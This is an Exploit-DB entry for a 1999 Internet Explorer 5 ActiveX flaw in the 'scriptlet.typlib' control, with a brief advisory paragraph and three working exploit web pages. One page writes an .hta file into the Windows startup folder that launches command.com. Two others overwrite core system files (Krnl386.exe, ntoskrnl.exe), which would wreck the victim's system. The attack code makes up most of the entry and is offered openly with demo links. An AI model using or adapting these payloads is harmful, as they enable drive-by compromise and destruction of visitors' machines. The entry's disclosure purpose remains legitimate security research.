Microsoft Internet Explorer 5 - ActiveX Object For Constructing Type Libraries For Scriptlets File Write

EDB-ID:

19468


Platform:

Windows

Published:

1999-08-21

Microsoft Internet Explorer 5.0 for Windows 95/Windows 98/Windows NT 4 ActiveX "Object for constructing type libraries for scriptlets" Vulnerability

source: http://www.securityfocus.com/bid/598/info

The 'scriptlet.typlib' ActiveX control can create, edit, and overwrite files on the local disk. This means that an executable text file (e.g. a '.hta' file) can be written to the startup folder of a remote machine and will be executed the next time that machine reboots. Attackers can exploit this vulnerability via a malicious web page or an email message. 

Exploit by Georgi Guninski.
A working demo is available at:
http://www.nat.bg/~joro/scrtlb.html

<object id="scr"
classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC"
>
</object>
<SCRIPT>
scr.Reset();
scr.Path="C:\\windows\\Start Menu\\Programs\\StartUp\\guninski.hta";
scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>alert('Written by Georgi Guninski
http://www.nat.bg/~joro');wsh.Run('c:\\command.com');</"+"SCRIPT>";
scr.write();
</SCRIPT>
</object>

Exploit by Seth Georgion
A working demo is available at: http://www.sassproductions.com/hacked.htm

Windows 98:
<p>
<object id="scr"
classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC" width="14"
height="14"
></object><script>
scr.Reset();
scr.Path="C:\\windows\\system\\Krnl386.exe";
scr.Doc="<object id='wsh'
classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>alert(
'Screw Denise Richards, Debbie Johnson
r0x!');wsh.Run('c:\\command.com');</"+"SCRIPT>";
scr.write();
</script>
</p>

Windows NT:
<p>
<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC"
width="14" height="14">
</object>
<script>
scr.Reset();
scr.Path="C:\\WINNT\\System32\\ntoskrnl.exe";
scr.Doc="<object id='wsh'
classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>alert(
'Screw Denise Richards, Debbie Johnson
r0x!');wsh.Run('c:\\command.com');</"+"SCRIPT>";
scr.write();
</script>
</p>